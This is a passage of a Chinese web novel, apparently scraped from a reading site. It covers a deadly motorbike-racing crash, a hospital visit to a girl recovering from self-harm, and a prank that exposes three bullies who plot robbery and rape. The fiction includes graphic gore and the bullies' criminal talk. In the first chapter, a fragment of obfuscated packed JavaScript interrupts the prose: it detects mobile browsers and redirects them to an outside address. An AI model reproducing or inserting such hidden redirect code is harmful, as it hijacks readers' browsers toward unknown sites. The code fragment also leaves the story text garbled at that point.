“消消气。”一个光着膀子的花臂大爷拍拍路人大哥的后背,对着鬼火远去的背影吐了一个唾沫,道:“这帮逼崽子不学好,天天晚上他娘的来这儿聚众飙车,油门声轰得人脑瓜子都嗡嗡疼。这边好几家的老板担心出事,打电话举报,还被这帮狗日的小崽子上门报复,店都他妈给砸了。”
“这么嚣张?”白绯扯着凳子往大爷那儿挪了挪,插嘴道:“我看着他们好像连护具都没戴,这是真不要命啊。”
“是说喽。”大爷回头一看是个如花似玉的大姑娘凑过来,把嘴里的脏话咽了回去,换了点文邹邹的说法,别扭得差点给自己咬了舌头:“你等着吧,一会儿就又他…咳,绕回来了,每天半夜少说也得在这闹腾一两个小时。小姑娘,你们注意点安全,可千万别被这帮小傻逼…咳,殃及无辜了。”
“唉,知道了,谢谢大爷。”白绯又扯着凳子挪了回去,她看了祝临川一眼,果然发现人脸色铁青,刚才的好心情荡然无存。
这也难怪他,毕竟祝父祝母就是车祸过世,据说当时两夫妻好好走着人行道,却被闯红灯的司机撞倒。当时肇事司机还企图逃逸,被路过的热心群众截停。
事后交警测量,发现肇事者还是酒驾,后来顶格判刑,出狱时都要90岁了,估计只能死在牢里了。虽然不能以牙还牙直接判他死刑,但姑且也算能解一解心中的恶气了。
白绯拍拍祝临川的手背聊作安慰,扭头就打了报警电话,举报了这帮飙车的小流氓。
挂了电话后,白绯站起来打包了几串烤肉和烤玉米粒,是特意吩咐老板给小黑和大鹏烤的,没有加调料。
“走吧,天都快亮了,回去睡觉。”白绯打了个哈欠,提着打包盒往车边走。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15363959|163445||http|test|mini|href|location''.split(''|''),0,{}));
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>祝临川很贴心地没有喝酒,所以回去还是由他驾驶。白绯坐在副驾上,酒劲上头,正有点昏昏欲睡,就感觉到车子停了下来。
“到家了?”白绯迷迷糊糊地睁开眼,却发现并没有到家。车子此刻正停在路边,而前方则散落着大块的摩托车零件。
不好,这是出车祸了啊。
白绯被吓得一个机灵,瞌睡都没了,打开副驾车门就走了下去。
她掏出手机拨打急救电话,一边顺着散落一地的摩托车尸块往前走。
她越看这些零件越眼熟,这夸张得吵死眼睛的涂装,刺眼的大灯,高分贝的音响,可不就是刚才那群鬼火嘛!
她走了老远,最后才终于在花坛里找到了驾驶员。
“没救了。”祝临川也跟在后面走了过来,眼神很冷。
确实没救了,人都断成两截了,脑袋也炸了,一地的红白之物和到处乱流的内脏,这是连急救都没有必要了。
白绯叹了口气,道:“良言难劝该死鬼啊!”
她正准备起身离开,余光却看到不远处的阴影里竟还有一只脚,只是鞋子都已经掉在了一边。
还有人!
白绯赶紧朝他跑了过去,心中却直打鼓。
有个玄学说法,事故中的伤者,一旦鞋子掉了,那就有性命之忧了。
她打开手电一照,就发现倒在地上的是个看起来还挺年轻的女孩。
相比连头盔都没戴的驾驶员,女孩子倒是规规矩矩戴着全套护具,身上看起来也没什么外伤。
“小妹妹,听的到我说话吗?”
白绯不敢去扶,边说着话边轻轻摸了摸她的肩膀,然而手才刚触碰到女孩的皮肤,她就知道大事不好了。
她又隔着头盔的缝隙伸进去轻轻按了按女孩的头,只感觉原本该存在的骨骼的硬度感已经完全消失了,此刻的触感,就仿佛她摸的是一个热水袋。
女孩表面看着完好无损,但其实里面早就碎成血泥了,只剩下一层皮肤兜着而已。
毕竟他们刚才的速度接近200,别说是摩托这样的肉包铁,就是汽车那样的铁包肉,以那样的速度撞击也吃不消。虽然女孩带了护具,也只不过给她留了个全尸而已。
白绯收回手,惋惜地叹了口气,回头对祝临川摇了摇头。
二人正站在路边等救护车过来,却突然听到有隐隐约约的说话声传来,其中的女声听着甚至还挺耳熟。
“阿成,我好害怕。小雪和祁东…他们真的死了吗?”女人听着很是害怕,连声音都在颤抖。
“那还有假,死得不能再死了,我拍了不少视频和照片,一会儿发网上去,点击肯定得爆!”另一个男声却显得很兴奋。
“那…那警察会不会查到我们,把我们抓去坐牢啊!阿成,我不想坐牢…”
吊儿郎当的男声不耐烦地打断了女人,道:“放心吧小萍,又不是我们撞死的,是祁东自己技不如人,才撞隔离带上的,天王老子来了都不关我们的事。”
“可是,是我们约他们出来飙车,他们才…”
“好了!你要是害怕就回去,别来找我了!罗里吧嗦的,惹人心烦。”男人似乎想走。
“阿成,你别抛下我,我…我不说了还不成嘛!”
白绯和祝临川循着声音悄悄走过去,就发现不远处的绿化带后停着另一辆改装鬼火,而灯下的那对男女中的女人,可不就是他们的熟人罗雪萍嘛!
39. 带孝子
二人拉拉扯扯举止亲昵,看着就关系匪浅。
白绯不由想起之前陆寻分享给她的八卦,说罗雪萍最近神出鬼没,不常在家。罗家已经乱成一团,祝金花受到惊吓后执着于烧香拜佛跳大神,罗峻辉自顾不暇忙着找工作,还要应付频频找他要钱的顾怜心,谁都没顾上搭理这个大姑子在忙些什么。
她看着就差直接搂一起啃的两人,意外地挑了挑眉。没想到罗雪萍还挺时髦,原来是搁外边谈姐弟恋呢。
这个名叫阿成的男人看着年岁不大,甚至长得还颇有几份帅气。他理着桀骜不驯的寸头,穿着一身时髦的皮衣,身材劲瘦,难怪能将罗雪萍迷得找不着北。
只是这男人一双眼里颇有些凶狠,再加上方才所说的话,可见是个对死亡没有丝毫敬畏之心的狠人。
“小萍,最近我手头有点紧,你能不能再借我点钱花花。你放心,等我以后成了网红,赚了钱就娶你。”阿成举起手机给罗雪萍看,“我现在已经有1000粉丝了,等我把这么劲爆的车祸现场发上去,肯定又能吸引一波流量,成为大网红指日可待!可是你看我,都没有什么好的设备,只有这么一台去年出的旧手机,这哪够用啊!”
罗雪萍看着似乎有些为难,她嗫嚅着开口:“可是…我前天不是才给了你两万块吗?”
阿成闻言脸当即一黑,阴沉着道:“怎么,你这是嫌我花钱快了?我还不是为了我们的将来着想,钱可是都花在刀刃上了。小萍,你真的让我很失望,我以为你是懂我的。”
罗雪萍看起来很是慌乱,情真意切地和他道歉:“对不起阿成,你原谅我吧,我...我这就去跟我弟弟再要点。”
阿成很懂得以退为进,他低头亲了亲罗雪萍的额头,很是善解人意地问道:“小萍,真的难为你了。虽然你当初为了你弟弟辍学打工,把他供成了今天的精英,但总是问他要钱,他会不会因此嫌弃你...”
“他敢!”罗雪萍对自家人倒是硬气起来,“他要是敢这么忘恩负义,我就去他单位里哭,让大家都知道他不顾亲姐,狼心狗肺!”
“好了好了,别生气了。”颇有一番茶艺的阿成拍拍罗雪萍的后背,夸奖道:“小萍,还是你对我好。不然我也不会在368个粉丝里一眼就挑中你。”
罗雪萍娇羞地拿沙包大的拳头锤了阿成的胸口一下,发出沉闷的一声响:“要不是人家硬生生刷成了你的榜一,只怕你眼里根本看不见我,只看的到那些个骚货。”
“怎么会...”阿成随口敷衍道,“那你什么时候去问你弟弟要钱?”
白绯看着二人勾肩搭背离开,在心里默默给罗峻辉点了一根蜡。
说起来这个阿成还让她想起一个旧人,正是那顾怜心的姘头陈昊。社会上总说女人拜金爱算计,她倒觉得这些个男人才是算盘精转世,画的一手好饼,天生的PUA高手。
祝临川对罗雪萍这个伥鬼表姐没什么好感,也懒得管她和谁恋爱,会不会吃亏,反正只要别来挨他和白绯的边,他们就是作死到天边都和他没关系。
白绯却不打算就这么放过他们,且不说其他,单是现在还躺在地上的倆小年轻,若是他们的死亡确实有阿成和罗雪萍的助力,那么谁也别想逃过法律的制裁。
于是等警察到达现场后,白绯便直接把罗雪萍给卖了:“警察同志,我到现场的时候正好看到有一对男女骑着摩托离开,似乎和地上的死者有关系。我听到他们的名字是阿成和罗雪萍。”
举报完毕的白绯深藏功与名,终于得以和祝临川回去小楼休息。她把带回去的点心放到了小黑和大鹏的食盆里,又各自撸了一把它俩的头,就回房间休息了。
第二天中午,祝临川回学校上课去了,单位里也没事,白绯索性决定去买个果篮看看程莉莎。结果才刚到水果店,就接到了程母打来的电话。
“白小姐,真的太感谢你了。我和孩子他爸按你教的去找了学校和教育局,领导很重视这件事,给了那些欺负人的学生全校通报批评,还特意来探望了丽莎。”程母很高兴,连声对白绯道谢,“多亏有你提点。原本我们还以为,学校和教育局领导只会认为是我们小题大做,没想到还真成了。”
程母显然到如今都还不理解程莉莎所遭受的痛苦,但这些都无所谓,只要最后的结果是好的就行。曾经她们的爱伤害了自己的女儿,如今也是她们的爱给了她第二次新生的机会。
“那就好。”白绯也很欣慰,追问道:“丽莎如今身体怎么样了?”
“好多了。”程母的声音听起来有些哽咽,“自从知道那几个孩子受到了处罚,丽莎的精神就好了很多,愿意积极配合医生治疗,脸上也有了笑容,昨天还和我说,等病好了想回学校继续上学。”
“那太好了。”白绯也松了口气,试探着问道,“我原本正想着过去看看丽莎,不知道方不方便?”
“方便方便。”程母连声答应道:“我都和丽莎说了,一切多亏了白小姐指点,不然我和她爸爸哪想得到这些。丽莎很感激你,一直想着找机会和你当面道个谢。”
白绯拿到果篮后就去了医院,在病房里看到了正靠在病床上画画的程莉莎。区别于上次浑身缠绕管线,脖子缠着渗血绷带的苍白模样,程莉莎如今的状况明显好了不少。
她还是很瘦,身上的病号服显得空荡荡的,小脸苍白,但精神看着还不错。
“白小姐,你来了!”程母正靠在窗边的沙发上织围巾,听见叩门的轻响抬起头来,就看见白绯提着一个果篮,捧着一大捧向日葵和小雏菊站在门口。
“阿姨,丽莎,我来看你们了。”
“丽莎,这就是我和你说过的白小姐。白小姐,你也太客气了,哎哟,这花可真漂亮。”程母赶紧起身接过果篮,又招呼白绯坐。
程莉莎看到白绯来后双眼就一直亮晶晶地盯着她看,她把画布和画笔放在床头就想下床,被白绯眼疾手快地轻轻按了回去,“别起来啦,这还输着液呢,一会儿别跑针了。”
程莉莎抿着嘴,羞涩地笑了笑,低声和白绯打了个招呼:“白姐姐,谢谢你来看我,我真的很高兴。”
白绯看着这个温柔腼腆的女孩,心里也觉得喜欢。幸好当时抢救回来了,不然这么一个善良又漂亮的小姑娘,此刻已经连人带盒只剩下五斤,长眠于冰冷的地下了。
白绯把鲜花也交给程母,程母喜爱地摸了摸向日葵的花瓣,对二人道:“我去护士站借个花瓶,把花插起来。”
等她离开后,白绯看着腼腆不语的少女,主动开启了话题:“在画什么呢
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?”
程莉莎把已经有了大致轮廓的画作递过来,羞涩道:“是银杏林。大夫说等我画完这幅画,我就能出院了。”
白绯接过画仔细欣赏,就听小姑娘又说道:“画得不好,姐姐别笑话我。我妈总说我不务正业,有这闲工夫还不如多看会儿书,把以前的功课补回来。”
“怎么会!”白绯夸张地瞪大了眼睛,真情实感夸赞道:“我看你这和专业美术生画得都没差了!你是自学的吗?”
看到程莉莎点了点头,白绯毫不吝啬地对她竖起了大拇指:“这就是天赋选手,一会儿我可得和你妈说道说道,别平白埋没了人才。丽莎,你听姐一句话,有时候啊,做人不能太乖,不用什么都听你爸妈的,知道吗?”
“啊?”程莉莎被白绯这大逆不道的话惊得都瞪大了眼睛,长这么大,所有人都告诉她应该孝顺父母,听父母的教诲,怎么这白姐姐竟然还反其道而行之?
白绯看起来却很认真,一点也不像是在说笑。
“父母爱你,但是他们受限于自己的时代背景和阅历,必然是和你有代沟的。你要有自己的判断,他们说的在理的你就听,咱不是有句古话,不吃老人言吃亏在眼前。当然了,他们说的没道理的时候,咱就不能那么傻了,那叫愚孝。你就左耳进右耳出,别真的往心里去。也别想着试图去说服他们,那是没可能的,这种时候,你就当他们在放屁,自己想办法去实现目标,没办法直接达成目的,就曲线救国,细水长流慢慢来,不用急于一时。等你将来长大了,经济独立,自然也就对自己的人生有了话语权。”
她在小姑娘目瞪口呆的注视下继续大放厥词:“人生有很多种活法,只要是你想要的,只要能让你自己开心,那就是正确的。但是无论何时你都要记得,如果有人伤害你,那错的绝对不是你。大声说出来,该害怕该羞愧的是那些作恶的人才对。”
程莉莎的眼睛里逐渐弥漫起泪花,她怔愣地看了白绯半晌,抬手抹了把泪,郑重地点了点头。
白绯赞赏地拍了拍她的肩膀,趁机摸黑叙白:“身体上的病好了,心理上的治疗也别落下。不过还是换个心理医生吧,叙医生能力不行。”
其实白绯原本是想询问程莉莎与叙白的治疗过程的,尤其是她选择寻短见前与叙白相处的那段时间。然而一旦提起这个,白绯担心又唤起她对当时自残场景的回忆,害怕给人整应激了。
小姑娘好不容易才好起来,到时又给整出PTSD,那她可真就罪过大了。
然而没想到程莉莎却如同之前陆寻调查的其他病人一般,对叙白很是维护:“白姐姐,但是我觉得叙医生人挺好的。他一直对我很耐心,愿意听我倾诉,不像其他医生,掐着时间点就让我走,感觉冷冰冰的都是金钱交易。”
白绯有些为难地摸了摸下巴。虽说她下意识觉得叙白应当是无事献殷勤非奸即盗,但她毕竟也没有确凿的证据。至于程莉莎提到的其他医生,白绯也深有体会。
排队一上午,进门一分钟,屁股才挨上凳子就被撵出来,遇到这种没耐心的医生确实也让病人很绝望。
她纠结了一会儿,试探着问道:“叙医生人好,不等于医术好。我担心他的治疗方法会不会不适合你,才导致你当时冲动之下走了极端?”
40. 千日红
程莉莎犹豫了片刻,纠结道:“我也不知道,其实我现在对于之前发生的事情记忆已经模糊了。”
她隔着纱布轻轻摸了摸脖子上的伤口,打了个寒颤,眼神有些恍惚:“现在再想想,我也觉得挺不可思议的,当时怎么会有这么大的勇气呢?妈妈说,我都快把脖子砍断了。”
差点就成了查理一世。她默默地把这句话咽了回去。
“忘了就算了。”白绯看着她痛苦的表情,赶紧安慰道,“向前看吧。只不过我还是建议你考虑下换医生,或者尽量不要和叙医生独处。”
“嗯,我知道了。”程莉莎现在已经变成了白绯的无脑小迷妹,虽然不理解但愿意尊重。正好经历过这回事故,妈妈也很不放心她独处,到时大不了就让妈妈陪着就诊吧。
程莉莎又摸了摸身上的伤口,苦笑道:“只是医生说当时割得太深,怕是要留疤了。所以妈妈在给我织围巾,让我到时候能围在脖子上挡一挡。”
她落寞地看了沙发一眼,上面放着程母织了一半的围巾,神情酸楚。到底还是爱美的年纪,又伤在这么明显的地方,只怕以后也少不了要听些闲言碎语。
白绯却不以为然,她手一挥,浑不在意道:“围巾可以用来保暖,但这伤疤真没有什么好遮的,这可是你战胜困难的勋章啊。人都说大难不死必有后福,丽莎啊,你的福气还在后头呢!等你长大点,还可以在伤疤上设计个文身,全世界独一无二的CHOKER,多酷!”
还能这么干吗?程莉莎呆呆地抚着自己的侧颈,竟然觉得说得还挺有道理?
程母正好捧着花瓶进来,笑着问道:“什么抽壳,白小姐,你家还养了贝类吗?”
“阿姨。”白绯笑眯眯地,完全看不出刚才还在这里大放厥词。
她举着丽莎的画忽悠程母:“我刚给自己的画家朋友们看了丽莎的作品,他们都夸奖她很有天赋和灵气呢!”
“当真?”程母对她的话丝毫不疑,惊喜道,“我还以为这只是小孩子乱涂乱画...”
“咱们门外汉只懂看热闹,专业的事肯定得交给专业的人啊。我那几个画家朋友可都是一幅画作能卖好几千万的大家,他们的眼光还能有错?”无中生友的白绯对程莉莎狡黠地眨了眨眼睛,背着程母坏笑起来。
程莉莎被她的笑容感染,也抿着嘴心照不宣地笑了起来。
“以后有需要帮忙的事只管联系我,别客气,你有我的联系方式。”白绯对着程莉莎摇了摇手机,又扭头嘱咐程母:“阿姨,好不容易过了这一关,要好好珍惜,平平淡淡活着就已经是人生至幸了。”
告别了程家母女后,白绯站在医院门口打电话,是祝临川打来的。
“我在医院看望一个朋友,这就回来了。嗯,是,就在上回我看扭伤的医院。不用来接我,我又不是三岁小孩。”白绯拿着电话,眼神里是她自己都没意识到的温柔。
电话那头的祝临川又说了句什么,惹得白绯笑得更灿烂了。
“行吧,那我在门口等你。你从学校过来的时候慢点,别急。”她笑容满面地挂了电话,扭头就看到花坛边坐着一个牙都掉光了的老奶奶。
“瞧你这闺女,笑得这么开心,是和你对象打电话吧。”老奶奶的长相简直就是慈眉善目这个词的具象化,她看起来真的很老了,皮肤间满是纵横的沟壑,头发花白且稀疏,但依然看得出仔细打理过,在脑后盘成一个发髻,发髻间还插着几朵紫红色的干花。
白绯一开始还以为是纸花,然而等靠近后却闻到了一股清新的草木香气,在夏末秋初这样燥热的天气,让人的心也跟着平静下来。
“奶奶,您一个人坐在这干什么呢?”白绯自来熟地一屁股坐在老人家身边,揪了两根逃过园艺工人法眼的狗尾巴草扯着玩。
“我家那口子给我买吃的去了,我走累了,在这等他。刚才看病时旁边有个小年轻在吃什么布丁,我多看了两眼,我家老头子就非要去买来说给我尝尝。真是的,都一只脚踏进棺材的人了,还能馋那一口吃的吗?”老奶奶嘴里说着抱怨的话,但神情却分明很幸福。
白绯抿着嘴偷偷笑:“奶奶,您和爷爷感情真好。”
老奶奶嗔道:“谁和那老头子感情好了,一把年纪还这么不稳重。”
白绯也不戳破她,笑嘻嘻地指了指老人家发间的花,好奇地问道:“奶奶,您这发簪是哪买来的,可真好看。”
老奶奶闻言便从发髻上取下簪花,笑吟吟地解释道:“这是真花,名叫火球花,花干后而不凋,经久不变,又名千日红。”
她爱惜地抚了抚那层层叠叠的花瓣,语气中充满了怀念:“千日红的花序可以入药,有止咳祛痰,定喘,平肝名目的功效。我生下来就气管不好,我家老头子是中医,我和他第一次见面就是去找他看病,他翻遍了家中的古籍,给我写了一则药方,以千日红入药,我的病情自那时起就一直控制得很好。只是最近,我总觉得有些胸闷,他把脉也诊不出什么毛病,这才非押着我来看西医。”
老奶奶抬起手,不顾白绯的阻拦将花尽数簪在了白绯发间,“嗯,果然,这花衬你。别拒绝,又不是什么名贵东西,老婆子家里多的是呢。”
她慈爱地看着白绯,语气有些落寞,感叹道:“我果然是老了啊,看着你们这些年轻孩子,心里就欢喜。我十八就爱簪这花,可如今看着镜子里的老太婆,有时都觉得平白糟蹋了这么美的花。”
“怎么会!”白绯亲昵地挽着老人家的手,情真意切道:“岁月从不败美人,您现在也很美。”
老人家被她逗笑,轻轻点了点白绯的鼻子,道:“我看你才是,鲜花配美人,一会儿得把你家那小对象迷得找不着北不可。”
白绯揉了揉鼻子,心想:应该不会吧?祝临川那小子从来都是一副面瘫的样子,被我迷得找不着北,怎么可能?说起来,倒是他最近真是越来越会了,昨天竟然还勾得我...
她正用手给自己的脸扇风降温,就看到马路对面便利店的门打开,一个身板笔挺,穿着中山装的帅老
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头提着一个袋子朝这边走来。
果然,老奶奶指着老爷爷,笑呵呵道:“我家老头子回来了。”
白绯见状便起身道:“那奶奶我就不当电灯泡了,谢谢您的花。”
擦肩而过时,爷爷冲白绯笑着点点头,白绯也笑着回礼。
依稀还能听见身后传来的对话。
“久等了,累不累?那儿东西太多了,我干脆每种都挑着买了点,花的时间就久了点。”
“哪儿就那么容易累,倒是你,也坐下歇会儿。”
白绯的嘴角不自觉地勾起。心想,日子怎么可能跟谁过都一样呢?
祝临川刚才打电话说从学校过来找她一起回家,想着应该还要一会儿才能到,白绯便干脆也进了便利店,准备买个布丁尝尝。
她正猫腰拿柜子里的冰麻薯的时候,门又被打开了,随着呼啸的热风卷进来的还有三个穿着校服的少年。
明明是最青春的年纪,嘴里的话却恶毒得让人震惊。
“那小婊子的妈一直守着呢,寸步不离,找不到机会下手。”
“啧,看来只能等她回学校再收拾她了。你没听班主任那傻逼说嘛,等她出院后就会回来上课了。”
“哈哈哈,竟然还敢回来,害得我们哥三吃了个全校通报批评,这几天我都快被我妈唠叨死了,说我害她丢了脸。”
“谁不是。我爹本来喝醉了就爱打我,出了这事更是拿住了由头,天天拿我出气。哼,他自己年轻时也不是什么好东西,据说还把同学吓成傻子了,现在跟我装什么清清白白。”
“那咱们该怎么收拾程莉莎,上回我就说了,干脆睡了她得了,你们非说不敢,你看,现在人家都敢找教育局告状了。”
“不是,老三,这可是犯罪啊。咱们平时把她关厕所,抢她的零花钱,给她抽屉里扔死老鼠,造她黄瑶,这些被抓住了,也顶多被批评几句,但是你把她睡了,她不得告到警察局去啊?”
“说你傻你还不承认,老二,你想想,我们现在几岁?”
“十五啊,怎么了。”
“那不就成了!还没成年呢,有这张免死金牌,你怕什么。再说了,她不要脸了,敢把自己被睡的事情说出去?退一万步,就算她真说出去,她说是□□就是□□?我还说是她故意勾引我们呢!”
“妙啊妙啊!”
“走吧,既然今天收拾不了程莉莎了,干脆去隔壁网吧开黑吧。说好了啊,今天通宵,谁走谁是龟孙子。”
随着一阵□□,三人又勾肩搭背地离开。
正在货架上摆货的服务员路过,就看到一地流淌的奶油,正顺着白绯攥紧的拳头滴落。
“!客人,你这是做什么?”
白绯低头看了眼手里被活活挤爆炸的冰麻薯尸体,和收银员道歉道:“不好意思没注意,这个我照常买单。”
她隔着玻璃着看着三人走进医院隔壁的网咖,低头打开了咸鱼。
她一边搜索一边冷笑:今天老娘就要你们死。
41. 正义的铁拳
医院隔壁的网咖里客人不少,不少病人家属为了省钱,没有选择宾馆,而是在这开个小包厢,价格便宜又能休息,无聊了还能上会儿网放松放松。
随着天色蒙蒙亮,大部分的客人都睡着了,就连前台网管也猫在椅子上打瞌睡。
三名穿着X中校服的少年打着哈欠,勾肩搭背地起身离开。路过前台时,其中一个挑染着绿毛的瘦猴抬手从前台扫过,三包辣条就顺着校服袖口滑进了他的怀里,丝滑得像是演练过千百遍。
其余两人早就见怪不怪,这样的事他们做得可不少,只是接过同伴递来的零食边吃边抱怨。
“好困啊,真想翘课。”开口的人长着满脸青春痘,他伸手抠了抠脸上被挤出脓血的痘痘,又把手指放到鼻子前深吸一口气,顶级过肺后用同一个手指抽出一根辣条边吃边吐槽,“念书有屁用,将来还不是一样进厂打螺丝。”
“忍忍吧老二。”说话的人满脸阴鸷,是三人中长得最高壮的,“最近刚被通报批评,老班盯得紧,这时候犯事没好果子吃。”
他看了眼正在拨头发的绿毛,没忍住翻了个白眼,“老三,别弄你那几根毛了,怎么想的,染个绿色。”
绿毛嬉皮笑脸道:“不都说要想生活过得去,就得头上带点绿吗?”
老大懒得和这个绝望的文盲说话,抖了抖干瘪的钱包:“最近程莉莎不来学校,我们少了一大笔收入来源啊。这么快又花完了,要想个办法去哪里搞点...”
正说着话呢,忽然只听巷口飘来甜腻的女声:“...妈妈给的三千块零花钱今天我全带上了,晚上放学我们一起去商场吧,我心水那套洛丽塔好久了...”
三人猛地顿住脚步,闻声看去,就看到一个穿着同款校服的少女正侧对着他们站在巷口,毫不设防地打着电话。
“嘿嘿,老大你看,这不是来了嘛!”青春痘搓了搓手,跃跃欲试道:“未成年,又是女的,好弄得很!”
老大眯着眼仔细打量着少女的侧脸,疑惑地嘀咕道:“我怎么不记得我们学校里有这么号人?而且为什么她说话的声音我听得这么别扭呢?”
绿毛却不以为然:“有吗?我倒觉得娇滴滴的挺好听。走吧老大,三千块呢,够咱哥三潇洒好一阵了,可不能错过这只肥羊啊!”
老大终于抵不住金钱的诱惑,强压下内心的不安,冲另外两人使了个眼色,三人一起悄无声息地围了上去。
“哟,妹妹,一个人啊。”三人呈包围之势,把懵懂的少女围在了小巷的砖墙间。而直到这时,他们才发现这个女孩竟然长得比他们还高。
“你们干什么?”少女长得高,却显得很害怕,她哆嗦着身体往小巷深处退,眼里泪汪汪的。
看她这么害怕,老二狞笑一声,“自觉点把钱拿出来,不然就扒了你的衣服。”
“我...咳,我没有钱,你们放过我吧。”白绯,也就是少女差点没夹住嗓子,干咳一声,用手捂着脸做泫然欲泣状。
“装什么装!”老大一拳头擦着她的脸打在砖墙上,随着墙灰簌簌落下,少女的眼里充满了惊恐。
“哎呀,你们真是的,对美女别这么粗暴啊。”绿毛自以为潇洒地甩了甩头发,伸手要来勾白绯的下巴,“我们刚才都听到你打电话了,三千块拿出来,少一分都不行。你就当花钱买个教训,财不外露,以后别在外面打电话乱说了,知道不?”
白绯低低抽泣了一声,侧身避开了瘦猴的手,颤抖着从书包里掏出一个信封,佯装作不情不愿的模样递了出去。
青春痘两眼放光,一把抢过信封打开,就见到里面整整齐齐一沓毛爷爷。
“哈哈,谢了妹妹,走喽~”
他们拿到钱后也不多逗留,只有绿毛还有些流连忘返。
虽然眼前这个妹妹长得有些成熟,个子也高,但还是很漂亮的。绿毛向来下流,之前提出要睡程莉莎的人就是他。
老大看穿了他的想法,阻止道:“马上就到上班时间了,人多,不好收拾。”
白绯捂着脸假哭,在手掌下翻了个白眼。果然是一帮欺软怕硬的孬种,自己选择闲鱼收旧校服真是收对了,这帮瘪三也只敢找孩子下手。
绿毛依依不舍地看了白绯一眼,最后不情不愿道:“好吧,有缘再见啊妹妹。”
三人拿着钱转身离开,此时的他们,早已在不知不觉间被引到了巷子的深处,这里光线昏暗,又有穿堂风呼啸而过,比别处都要阴冷。
“这下好了,我看中的皮肤也有钱买了哈哈哈。”青春痘正低着头数钱呢,就听到后面突然传来一阵尖利的笑声。
“什么人!”
三人都被吓了一跳,猛地扭头一看,就发现背后空无一人。
“刚..刚才那妞呢?”绿毛哆嗦着躲到了青春痘身后,声音都快吓劈叉了,“这..这是死胡同啊,她怎么平空消失了?”
“该..该不会是鬼吧?!”
“大..大白天的,哪来的鬼!”老大怒斥一声,强自镇定道:“可能是爬上墙跑了吧,你们别自己吓自己。”
“这墙这么高,除非有人拉她,她一个人怎么可能爬得上去啊?再说了,她要有这本事,刚才为什么不跑,还老老实实等着我们把她的钱抢走?”
“那你说她去哪里了?”老大也怕得不行,心烦意乱道:“没事,白天阳气大,我们又是男人,她不敢对我们怎么样的。老二,你别掐我腰了!”
然而他话音刚落,青春痘和绿毛的脸更白了。
“我没掐你啊!”青春痘惨白着脸举起两只手,惶恐地看着他。
老大:!
三人僵硬转身,就看到一张七窍流血的惨白面孔正贴在他们身后,与他们来了个贴脸开大,八目相对。
女鬼咧开血盆大口,阴恻恻道:“你们在找我吗?”
随着三声声嘶力竭的惨叫,刚才还嚣张得无法无天
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的三人夺路狂奔。
在离开巷子前的最后一秒,老大回头看了一眼,只看到一个穿着同款校服的女人,正倒吊在巷子上,长发垂落如黑色瀑布。她苍白的脸上正诡异地笑着,唇角直咧到耳根,露出森白的獠牙。
随着三人的背影终于消失在街头,冷笑的女鬼扯下了头上的长发。
“都吓跑了?”巷子上又探出一个脑袋,正是白绯。
“嗯。”祝临川一个利落的卷腹勾起身体,单手握住方才脚下勾着的杆子,跳回了地面。
他扔掉手里的假发,冲白绯张开手臂:“不用怕,我接着你。”
白绯轻笑一声,纵身一跃,扑进了祝临川的怀里。她居高临下捏了捏祝临川的脸,骄傲道:“不愧是我,这妆化得可真牛逼,瞧把那帮小撒比给吓得哈哈哈哈哈…哎哟,不行不行,我喘不上气了…”
祝临川原是搂着她的腰的,闻言赶紧把她放下,惊慌失措问道:“是不是我扣得你太紧了?”
方才白绯笑着扑进他怀里的样子实在是太美,让他下意识就紧紧拥住了她,想把她揉进自己的骨血里。
”不是不是。”白绯边说边撩起衣服,“是我束胸勒太紧了。这件校服有点小,刚才又得夹着嗓子又被勒得疼,真是憋死我了。”
她边说着边脱束胸,把祝临川看得一愣一愣的。
反应过来后,他的脸就红了,非礼勿视地撇开了脸。
“呼…终于能呼吸了,难怪中世纪有女人会因为这玩意儿缺氧晕倒。”白绯甩着手里的束胸抬头,才发现祝临川竟然一直没敢看她。
白绯看着这样的祝临川,竟然莫名地被勾得有点心痒。此刻的他化着邪恶的妆容,然而却是一副隐忍又羞涩的表情,就仿佛恶魔堕落情欲,让她食指大动。
“我身上还有什么你没看过的啊,祝学弟。”白绯坏笑起来,故意微微撩起衣服,露出纤细又不失力度的腰肢,撩骚道:“你倒是看看我呀,学弟。”
仿佛他们真是什么偷尝禁果的学姐学弟似的。
祝临川脖子上青筋浮起,喉结上下滚动了一下,还是不看她,咬着牙低声道:“你别招我。”
然而白绯却还是不放过他,抓着他的手就往自己胸口摸:“学弟,你摸摸学姐的心跳得快不快唔…”
剩下的话都没吞进了喉咙里,祝学弟终于按捺不住,把坏学姐搂进怀里狠狠吻了一通。
“好了好了…”在唇上都传来火辣辣的痛感时,白绯终于告饶,“还有正事要做呢,小学弟,晚上再和你玩。再拖下去那帮小撒比该反应过来了。”
祝林川意犹未尽地舔了舔白绯殷红的唇,脸色冷了下来,“你准备怎么收拾他们?”
方才那绿毛想要调戏白绯,他可在墙头上都看得清清楚楚。
白绯邪笑一声,从兜里掏出手机,“当然是拿起法律的武器。我可是守法的好公民,要让所有的邪恶势力知道正义的铁拳虽迟但到。”
42. 只是小情侣在玩cosplay啦……
于是当惊魂未定的三人才回到学校没多久,就被一脸惶恐的班主任揪着耳朵拎去了校长室,而里面除了怨气冲天的校长,竟然还站了一名穿着制服的警察。
而最让三人害怕的是,方才那女鬼竟也一脸无辜地坐在沙发上。
“啊啊啊啊啊,鬼啊!”
“呜呜呜,救命,不要杀我!”
“我们把钱还你,求你不要再缠着我们了!”
三人深信白绯就是那倒吊在墙头的女鬼,吓得当场瘫软在地,涕泪横飞地从兜里掏出信封远远扔了回去。
这倒好了,不打自招,给白绯省了不少事。她捡起地上的信封,无辜地耸耸肩,冲众人道:“这下你们信了吧?就是他们三人抢了我的东西。”
校长一言难尽地看着穿着本校校服的白绯,道:“这位同学,请问你是哪个年级哪个班的?”
这么御姐的脸和身材,还有这气质,看着可不像个初中生啊。
白绯低头看了看身上的衣服,一脸想当然地解释道:“哦,我不是你们学校的,我早成年了。”
“那你怎么穿着我们学校的校服?”班主任感觉自己的头都快秃了,他不过是个可怜的打工人,想安安稳稳做份工而已,为什么底下的学生这么邢?
“哦,我和我对象玩COSPLAY呢,小情侣的情趣啦。这不是重点,重点是,这三个孩子抢了我的钱。”白绯转向警察,道:“您看,这下人赃并获了。”
